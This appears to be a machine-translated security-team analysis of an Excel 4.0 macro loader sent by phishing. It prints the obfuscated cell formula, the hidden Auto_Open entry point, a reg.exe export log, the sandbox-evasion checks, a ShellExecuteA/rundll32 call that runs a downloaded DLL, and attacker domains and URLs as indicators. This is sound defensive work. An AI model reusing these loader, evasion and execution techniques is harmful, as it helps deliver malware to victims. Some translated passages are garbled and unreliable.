Everyday Life Tinkoff Security Operations Center: Single Bootloader Analysis

مرحبا يا هابر!

في مركز عمليات أمان Tinkoff ، نقوم بتحليل التقنيات المستخدمة في البرامج الضارة والهجمات بانتظام ، وقد اكتشفنا مؤخرًا ملفًا واحدًا مثيرًا للاهتمام نود التحدث عنه.

صورة

التقنية التي تم استخدامها لإنشاء هذه التحفة الفنية معروفة منذ أكثر من 20 عامًا ، ولكن حتى بعد عقود لا تزال ذات صلة ، نظرًا لأن مكالمات بعض عمليات الفحص في الماكرو ليست مشبوهة ويمكن استخدامها في المستندات الشرعية. هذا هو تنزيل برنامج ضار مكتوب في وحدات ماكرو Excel 4.0.

أدوات


كجزء من التحليل ، سنستخدم أدوات الجهات الخارجية إلى الحد الأدنى وننتقل إلى مجموعة قياسية من البرامج:

  • مجموعة مايكروسوفت أوفيس
  • أرشيفي
  • محرر النص؛
  • كأداة لتحليل إجراءات البرمجيات ، سوف نستخدم Sysmon ؛
  • كبيئة للتحليل ، سنستخدم VM مع Windows 7 على متن الطائرة

Mnogabukaf


المستند الذي سنقوم بتحليله هو مصنف Excel بتنسيق xls. يتم تسليم البرامج الضارة في رسائل البريد الإلكتروني المخادعة ، عندما يبدأ تشغيل المستند ، يقوم الماكرو بإلغاء تحميل فرع التسجيل ، وتنزيل معلومات حول تحديثات Office من موقع Microsoft على الويب ، وكذلك تنزيل dll ضار وتشغيله. بعد هذه الخطوات ، يتم إغلاق الكتاب بدون حفظ التغييرات.

الاختلاف الرئيسي عن اللوادر الأخرى من هذا النوع هو أنه لا يستخدم وحدات ماكرو VBA.

تحليل ثابت


فيما يلي مثال على بريد إلكتروني يحتوي على مستند ضار.



افتح المرفق في جهازنا الظاهري.

يجب أن تنتبه فورًا: تحذر الصورة من أن المستند "محمي" وأنه يستحق فتحه محليًا والنقر على "تمكين المحتوى":



تحذير أمني يشير إلى أنك تحتاج إلى النظر في المشاريع في محرر Visual Basic.

ننتقل إلى المطور - إدارة الماكرو (vbs) ، لكننا لا نرى أي وحدات ماكرو vbs أو vba:



إليك الوقت لتذكر ما هي مستندات المكتب.

كل مستند Microsoft Office هو أرشيف يمكن فك ضغطه باستخدام أي أرشيفي ، واستخراج محتويات المستند:



بعد التفريغ ، نرى أنه داخل المستندات لا توجد ملفات xml اعتدنا على رؤيتها ، الشيء هو في تنسيق المستند القديم - xls.

في امتداد xls ، لا يتم تخزين المحتوى بتنسيق Office Open XML ، ولكن بتنسيق BIFF8 الثنائي. يستخدم المستند ماكرو Excel 4.0 ، حيث يمكن تنفيذ وحدات الماكرو في خلايا المستند.

تجدر الإشارة إلى أن الورقة التي تحتوي على الماكرو ليست مخفية ، ولكن الورقة بها عدد كبير من الخلايا الفارغة ، مما يجعل التحليل صعبًا.

هناك أدوات لتحليل ملفات BIFF8 ، على سبيل المثال BiffViewer ، ولتحليل المحتوى هناك أداة رائعة - oletools. لكننا سنحاول الاستغناء عن استخدام أدوات خارجية.

يحتوي Excel أيضًا على تنسيق xml - xlsm، يمكنك حفظ كود الماكرو VBA وأوراق الماكرو Excel 4.0 فيه ، والذي سنفعله.
القائمة الكاملة للتنسيقات المتاحة لبرنامج Excel هي تنسيقات excel .

نقوم بحفظ المستند الخاص بنا ، وفك ضغطه:



دعنا نرى ما يوجد في الملفات ، نبدأ بدليل أوراق الماكرو في المجلد xl ونعثر على الملف مع جميع البيانات الموجودة على ورقة الماكرو:



وبالتالي ، نحصل على جميع القيم في الخلايا على ورقة الماكرو. الماكرو نفسه مشوش ، والخلايا تحتوي فقط على قيم رقمية وصيغ تحول هذه القيم وتكتب النتيجة إلى خلايا جديدة.

على سبيل المثال ، في هذه الصيغة ، يتم تحويل القيم الرقمية إلى أحرف متسلسلة وكتابتها إلى الخلية FK17653.

الصيغة في التفوق
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

نتيجة للصيغة ، نحصل على السطر التالي:



"يتم تجميع" كل أمر ماكرو لاحق بواسطة صيغة مماثلة ، مكتوبة على الخلية ، ثم يتم تنفيذه.

لكي يتم تشغيل الماكرو تلقائيًا عند فتح المستند ، يجب أن تسمى الخلية التي يجب تشغيل البرنامج النصي منها Auto_Open. خذ بعين الاعتبار ملف workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

داخل الملف نجد اسم السطر = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
وهذا يعني أن الخلية التي يتم تشغيل الماكرو منها ، IE65406 ، مخفية. الآن نحن نعرف نقطة الدخول إلى الماكرو.

التحليل الديناميكي


لا تقم أبدًا بتشغيل ملفات مريبة على جهازك. لدراسة إجراءات البرامج المشبوهة ، من الضروري استخدام بيئة معدة خصيصًا: صناديق رمل مختلفة أو آلة معزولة معدة خصيصًا - افتراضية أو حديدية.

افتح المستند وقم بتشغيل المحتوى. يومض إطار موجه الأوامر ويغلق الكتاب.
دعونا نرى سجلات Sysmon.

لدى Sysmon حدث إنشاء عملية (المعرف 1) ، يمكن العثور على المزيد حول Sysmon هنا .

من خلال السجلات ، نرى أن الماكرو يقوم بإنشاء ملفات في الدليل c: \ users \ public

وفيما يلي رسالة sysmon ، التي توضح أن فرع التسجيل غير محمل ويتم كتابة النتيجة في الملف:

معرف حدث Sysmon 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

عند الانتهاء ، يحذف الماكرو الملفات التي تم إنشاؤها.

لحظر حذف الملفات ، قم بتغيير الأذونات الموجودة على المجلد ، وترك أذونات القراءة والكتابة وحظر الحذف: قم



بتشغيل المستند مرة أخرى ، وسوف نتلقى خطأ أثناء تنفيذ الماكرو ، مما سيمكننا من تصحيحه.

هذا ممكن لأنه لا يوجد استثناء استثناء في بعض المكالمات.





لنقم بتشغيل الماكرو خطوة بخطوة ؛ أثناء التصحيح ، نواجه استدعاءات وظائف من مكتبات dll ، مثل ShellExecute و URLDownloadToFile . عند الانتهاء من الماكرو ، ستكون الملفات التالية في مجلد المستخدمين المشترك:



نظرًا لأننا نعرف الخلية التي يبدأ منها التنفيذ ، يمكننا ملء جميع الخلايا في ورقة الماكرو. دعنا ننتقل إلى الماكرو إلى وظيفة الإغلاق (false) ، حيث سنقاطع التنفيذ بالنقر على زر "إيقاف مؤقت".

خلايا فحص البيئة


بالنظر إلى الخلايا التي يملأها الماكرو ، نجد العديد من الوظائف get.window () و get.workspace ()

  • تعرض الدالة get.window () معلومات حول النافذة الحالية: الحالة وحالة النافذة واسمها وخيارات العرض وما إلى ذلك.
  • تتيح لك وظيفة get.workspace () معرفة معلومات حول البيئة التي يعمل فيها المستند.

يمكن العثور على قائمة كاملة بالمكالمات المتاحة لـ Excel 4.0 في الروابط.

هنا نحتاج إلى مزيد من التفاصيل: اقترحت أنا وزميلي أن تكون معظم هذه المكالمات متعلقة بمحاولات تجاوز وضع الحماية:

  • get.winow (7) - للتحقق مما إذا كانت النافذة الحالية مخفية. إرجاع صواب أو خطأ.
  • get.windows (20) - إرجاع صحيح إذا تم تكبير النافذة.
  • get.windows (23) - يمكنه إرجاع القيمة 1 و 2 و 3.



1 - تم الاستعادة
2 - تم تصغيره
3 -

تم

تكبيره وهكذا ، فإنه يتحقق لمعرفة ما إذا كانت النافذة الحالية مفتوحة: get.workspace (31) - يتحقق لمعرفة ما إذا كان الماكرو يتم تصحيحه في خطوات.
get.workspace (13) - تحقق من عرض مساحة العمل بالبكسل: إذا كان أقل من 770 ،



فسيغلق الكتاب get.workspace (14) - تحقق من ارتفاع مساحة العمل بالبكسل: إذا كان أقل من 390 ، يغلق الكتاب



get.workspace (19) - تحقق وجود فأر.
get.workspace (1) - إرجاع أي نظام تشغيل يتم تشغيل المستند فيه.
في حالة الخطأ ، يوجد في كل شيك انتقال إلى خلية إغلاق الكتاب دون حفظ النتيجة.

مكالمات المكتبة الخارجية


بعد التحقق من البيئة ، ننتقل إلى الوظيفة الرئيسية. دعونا نرى كيف يتم استدعاء وظائف WinAPI من الماكرو:

1. استدعاء reg.exe ، الذي رأيناه في سجلات Sysmon.



لاستدعاء الأداة المساعدة ، يتم استخدام الدالة ShellExecute من مكتبة shell32.dll ، وتنتشر معلمات الوظيفة في خلايا أخرى.

الخلية BN16631:



الخلية A46097:



في الخلية GN47559 ، يتم إرسال أمر تصدير فرع التسجيل الضروري ، إرجاع Get.workspace (2) إصدار Excel.



تحتوي الخلية DX48821 على المسار حيث تتم كتابة النتيجة.



علاوة على ذلك ، يوجد في الماكرو التحقق من وجود ملف IcltdXw.reg الذي تم إنشاؤه وحذفه.

2. استدعاء وظيفة URLDownloadToFile. تحفظ هذه الوظيفة نتيجة طلب الحصول على ملف.
المكالمة كما يلي:



تقودنا هذه المكالمة إلى موقع Microsoft على الويب ، إلى الصفحة التي تحتوي على معلومات حول تحديثات Office.

معلمات الوظيفة:

الخلية BR6547



الخلية IN49847



بعد تنفيذ التعليمات ، يتم التحقق مما إذا كان الملف قد تم إنشاؤه ، وكذلك قراءة الحرف عن طريق الإزاحة في الملف: على



الأرجح ، تهدف هذه الإجراءات إلى التحقق مما إذا كانت البيئة التي يعمل بها المستند لديها إمكانية الوصول إلى الإنترنت.

في الصيغة ، يتم تمرير الدالة FILES إلى iserror والحجة هي اسم الملف حيث يجب كتابة نتيجة وظيفة URLDownloadToFile:



ستتيح الخلية FM27223 التحكم في وظيفة إغلاق الكتاب:



عند الاستلام الناجح للملف من Microsoft ، يتم ملء الخلايا للتحضير للمكالمة الثانية إلى urlmon dll.

تحميل الحمولة


وهذه هي المكالمة الثانية ، ولكن إلى المجال dehabadi [.] Ir ، الذي يجب تحميل التحميل الضار منه:



ستتم كتابة النتيجة إلى ملف في نفس المجلد بامتداد html:



بعد ذلك ، نأتي عبر فرع في رمز الماكرو إذا ، في المحاولة الأولى لتنزيل الحمولة ، فشل ، سيتم إجراء محاولة ثانية ، ولكن من عنوان مختلف.

في حالة نجاح التنزيل ، ستظهر نافذة منبثقة تحذير وسيتم استدعاء المكتبة المحملة.



المكالمة الكاملة هي كما يلي:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

في مكالمة كاملة ، يتم استدعاء وظيفة ShellExecuteA من مكتبة Shell32 مع معلمات لتشغيل rundll32 ، والتي يتم من خلالها استدعاء الوظيفة التي تم تصديرها من المكتبة الضارة التي تم تنزيلها.

هذا يكمل وظيفة الماكرو ، والحمولة قيد التشغيل.

استنتاج


كما قيل ، فإن التكنولوجيا قديمة جدًا ( Excel 4.0 لـ Windows 3.0 و 3.1 ) ، ولكنها توفر بشكل كامل الوظائف التي تحتاجها البرامج الضارة لتحقيق أهدافها. والغرض من هذا الملف هو وضع برامج خطيرة في النظام بهدوء والتي يمكن أن تسبب تلفًا خطيرًا ، بدءًا من سرقة البيانات الشخصية ، وبيانات التفويض للأنظمة ، وتنتهي بفساد البيانات / التشفير على الكمبيوتر والقدرة على تنفيذ التعليمات البرمجية عن بُعد.

لتحليل هذه المستندات ، ليس من الضروري على الإطلاق استخدام أي أدوات مساعدة وبرامج خاصة ، ومع ذلك ، تجدر الإشارة إلى مجموعة من مخطوطات oletools - يمكن العثور على مزيد من التفاصيل هنا . سننتهي هنا ، فيما يلي مؤشرات التوافق التي تم تحديدها كنتيجة للتحليل.

تلقت اللجنة الأولمبية الدولية:

إيفانز [.] williamdmon [@] wp [.] pl
eleventalents [.] com
dehabadi [.] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

قائمة كاملة بمؤشرات الحل الوسط.

المراجع:


عمل على التحليل:

فرولوف إيليا
كولينتشوك أليكسي

All Articles